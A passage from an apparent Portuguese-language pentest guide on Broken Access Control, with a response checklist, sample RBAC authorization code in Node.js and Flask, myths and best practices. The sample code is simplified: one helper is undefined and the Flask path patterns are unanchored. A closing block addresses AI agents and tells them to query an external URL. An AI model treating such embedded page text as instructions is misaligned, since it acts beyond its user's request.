  * [ ] Bloquear IPs maliciosos
  * [ ] Isolar sistemas afetados
  * [ ] Reverter modificações não autorizadas
* [ ] **Correção**
  * [ ] Implementar controles de acesso adequados
  * [ ] Corrigir lógica de autorização
  * [ ] Atualizar políticas de RBAC
  * [ ] Realizar pentest de validação

## Exemplos de Implementação Segura

### Sistema RBAC Completo em Node.js

```javascript
// rbac-system.js
class RBACSystem {
    constructor() {
        this.roles = {
            user: {
                permissions: ['read:own_profile', 'update:own_profile', 'read:public_content'],
                inherits: []
            },
            moderator: {
                permissions: ['read:all_profiles', 'manage:content', 'delete:comments'],
                inherits: ['user']
            },
            admin: {
                permissions: ['*'],
                inherits: ['moderator']
            }
        };
        
        this.resourceOwners = new Map();
    }

    hasPermission(userRole, permission, resourceId = null) {
        // Verificar permissão direta
        const role = this.roles[userRole];
        if (!role) return false;

        // Verificar wildcard
        if (role.permissions.includes('*')) {
            return this.checkOwnership(resourceId, userRole);
        }

        // Verificar permissão específica
        if (role.permissions.includes(permission)) {
            return this.checkOwnership(resourceId, userRole);
        }

        // Verificar herança
        for (const inheritedRole of role.inherits) {
            if (this.hasPermission(inheritedRole, permission, resourceId)) {
                return true;
            }
        }

        return false;
    }

    checkOwnership(resourceId, userRole) {
        if (!resourceId) return true;
        
        // Admin tem acesso a tudo
        if (userRole === 'admin') return true;
        
        // Verificar se usuário é dono do recurso
        const owner = this.resourceOwners.get(resourceId);
        return owner === getCurrentUserId();
    }

    setResourceOwner(resourceId, ownerId) {
        this.resourceOwners.set(resourceId, ownerId);
    }
}

// Middleware de autorização
const authorizationMiddleware = (permission) => {
    return (req, res, next) => {
        const userRole = req.user.role;
        const resourceId = req.params.id || null;

        if (!rbac.hasPermission(userRole, permission, resourceId)) {
            return res.status(403).json({
                error: 'Acesso não autorizado',
                required_permission: permission,
                user_role: userRole
            });
        }

        next();
    };
};

// Uso
const rbac = new RBACSystem();

app.get('/api/users/:id', 
    authorizationMiddleware('read:own_profile'),
    (req, res) => {
        const user = User.findById(req.params.id);
        res.json(user);
    }
);

app.get('/api/admin/users',
    authorizationMiddleware('read:all_profiles'),
    (req, res) => {
        const users = User.findAll();
        res.json(users);
    }
);
```

### Sistema de Access Control em Python/Flask

```python
# access_control.py
from functools import wraps
from flask import request, g, jsonify
import re

class AccessControl:
    def __init__(self):
        self.policies = {
            'user': {
                'resources': {
                    r'/api/users/\w+-\w+-\w+-\w+-\w+': ['GET', 'PUT'],  # UUID pattern
                    r'/api/documents': ['GET', 'POST'],
                    r'/api/documents/\w+-\w+-\w+-\w+-\w+': ['GET', 'PUT', 'DELETE']
                }
            },
            'admin': {
                'resources': {
                    r'.*': ['*']  # Acesso total
                }
            }
        }
    
    def check_access(self, user_role, path, method):
        if user_role not in self.policies:
            return False
        
        role_policies = self.policies[user_role]
        
        for pattern, allowed_methods in role_policies['resources'].items():
            if re.match(pattern, path):
                if '*' in allowed_methods or method in allowed_methods:
                    return self.check_ownership(path, user_role)
        
        return False
    
    def check_ownership(self, path, user_role):
        if user_role == 'admin':
            return True
        
        # Extrair UUID do path e verificar propriedade
        uuid_match = re.search(r'(\w+-\w+-\w+-\w+-\w+)', path)
        if uuid_match:
            resource_uuid = uuid_match.group(1)
            return self.is_owner(resource_uuid, g.user_id)
        
        return True
    
    def is_owner(self, resource_uuid, user_id):
        # Lógica para verificar propriedade no banco de dados
        resource = Resource.query.filter_by(uuid=resource_uuid).first()
        return resource and resource.owner_id == user_id

# Decorator de autorização
def require_permission():
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            access_control = AccessControl()
            user_role = g.user_role
            path = request.path
            method = request.method
            
            if not access_control.check_access(user_role, path, method):
                return jsonify({'error': 'Acesso não autorizado'}), 403
            
            return f(*args, **kwargs)
        return decorated_function
    return decorator

# Uso
@app.route('/api/users/<user_uuid>', methods=['GET'])
@require_permission()
def get_user(user_uuid):
    user = User.query.filter_by(uuid=user_uuid).first()
    if not user:
        return jsonify({'error': 'Usuário não encontrado'}), 404
    
    return jsonify(user.to_dict())
```

## Considerações Finais

### Mitos Comuns sobre Access Control

* ❌ "Controles no frontend são suficientes" → **FALSO** (podem ser facilmente bypassed)
* ❌ "APIs internas não precisam de autorização" → **FALSO** (defense in depth é essencial)
* ❌ "UUIDs resolvem todos os problemas de IDOR" → **FALSO** (ainda precisam de validação de propriedade)
* ❌ "Logging é apenas para compliance" → **FALSO** (é crucial para detecção de ataques)

### Boas Práticas Essenciais

1. **Defesa em Profundidade**: Múltiplas camadas de verificação
2. **Princípio do Menor Privilégio**: Conceder apenas permissões necessárias
3. **Validação no Server-Side**: Nunca confiar apenas em controles no client
4. **Monitoramento Contínuo**: Detectar e responder a tentativas de acesso não autorizado
5. **Auditoria Regular**: Testar controles de acesso periodicamente

### Referências e Padrões

* OWASP Access Control Cheat Sheet
* NIST RBAC Guidelines
* MITRE ATT\&CK Framework - Privilege Escalation
* CIS Critical Security Controls

**🔐 Lembre-se**: Broken Access Control está consistentemente entre as vulnerabilidades mais críticas em aplicações web. Implemente verificações de autorização robustas em todas as camadas e teste regularmente suas defesas contra escalação de privilégios.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/planejamento-e-logica/broken-access-control.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
